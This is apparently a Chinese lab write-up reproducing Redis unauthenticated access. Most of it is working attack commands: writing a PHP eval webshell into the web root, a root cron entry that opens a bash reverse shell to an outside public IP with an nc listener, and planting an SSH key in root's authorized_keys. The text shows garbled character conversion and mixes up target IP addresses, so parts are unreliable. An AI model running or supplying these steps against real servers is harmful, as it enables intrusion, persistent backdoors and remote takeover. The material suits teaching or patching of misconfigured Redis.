redis未授權通路漏洞複現
實驗環境
目标機器:CentOS7+Apache+Redis、IP位址:10.1.1.200
攻擊機器:Kali、IP位址:10.1.1.100
未授權概述
未授權通路漏洞可以了解為需要安全配置或權限認證的位址、授權頁面配置不當導 緻其他使用者可以無需認證授權直接通路進而引發重要權限可被操作、資料庫或網站目錄等敏感資訊洩露。
Redis未授權通路
Redis 架構
Redis 用戶端 redis-cli Redis
Redis 伺服器 redis-server
用戶端、伺服器可以位于同一台計算機或兩台不同的計算機中。
漏洞發現
Redis 服務預設監聽在6379端口上。
Redis常用指令
redis連接配接遠端伺服器: redis-cli -h host -p port -a password
set testkey "Hello World" # 設定鍵testkey的值為字元串
get testkey # 擷取鍵testkey的内容
set score 99 # 設定鍵score的值為99
incr score # 使用INCR指令将score的值增加1
get score # 擷取鍵score的内容
keys * # 列出目前資料庫中所有的鍵
config set dir /home/test # 設定工作目錄
config set dbfilename redis.rdb # 設定備份檔案名
config get dir # 檢查工作目錄是否設定成功
config get dbfilename # 檢查備份檔案名是否設定成功
save # 進行一次備份操作
flushall # 删除所有資料
del key # 删除鍵為key的資料
Redis未授權通路的三種複現方式
方式一,寫入webshell
這個方法的前提條件是:1.知道網站根目錄絕對路徑。 2.對目标網站根目錄有寫入權限。
攻擊步驟:
1.對目标機器進行資訊收集,看看端口是否開放了哪些。直接使用nmap -sV -p- -T4 10.1.1.200
發現目标機器開放80端口,有web服務,直接對其網址目錄進行掃描。
通過對網址目錄的掃描,發現了有個phpinfo.php頁面,說明存在敏感資訊洩露,可以知道這個網站是php搭建的,還可以擷取到網站根目錄絕對路徑為/var/www/html。
2.下載下傳Redis用戶端連接配接工具
大家可以自行在網上找來下載下傳,下載下傳完成後,直接解壓,編譯,編譯後redis-cli預設生成在src目錄,進入src目錄,将redis-cli複制到 /usr/bin 目錄即可以在終端的任意目錄下執行。
下面的方法是在公網上下載下傳的步驟,大家有需要可以在自己公網機器上搭建一個。(在自己虛拟機裡面搭建也是差不多這樣子的步驟)
apt install redis-tools
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz
cd redis-6.0
make
cd src
cp redis-cli /usr/bin
3.連接配接測試是否可以連接配接成功,直接redis-cli -h ip -p port
當Ping 出現PONG的時候說明存在漏洞,連接配接成功
4.進行寫入webshell
redis-cli -h 10.1.1.200 -p 6379 //連接配接
config set dir /var/www/html //定義目錄
config set dbfilename shell.php
set x "<?php @eval($_POST['cmd']);?>"
save
注意: 不同版本的網站的絕對目錄不同,這裡是php的,輸入dir 指令是放回錯誤,那就說明輸入的網站的目錄不正确,不存在這個目錄,是以有時候要靠猜目錄。
5.webshell寫入成功後,去通路看看是否成功。
6.使用webshell管理工具連接配接目标網站
成功拿下機器
方式二,寫定時任務
redis-cli -h 10.1.1.200 -p 6379
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/43.139.44.143/4433 0>&1\n\n"
save
完成後記得save儲存下,在攻擊機器上監聽反彈回來的端口即可。
nc -lvvp 4433
執行下指令,成功拿下。
方式三,寫ssh公鑰
預設情況下,生成的SSH密鑰在使用者家目錄的 .ssh 目錄下
我們可以cd /root/.ssh
ls
去進行檢視
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set m
//以上步驟在自己的攻擊機器上執行
redis-cli -h 192.168.1.100 -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
ssh-keygen -t rsa 先生成一個公鑰
将公鑰寫入foo.txt檔案
使用cat 指令檢視是否成功
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set m 把寫好檔案傳到給10.1.1.200
進行redis連接配接,設定備份檔案路徑和名字。
最後使用ssh連接配接,直接上線機器
ssh [email protected] -i /root/.ssh/id_rsa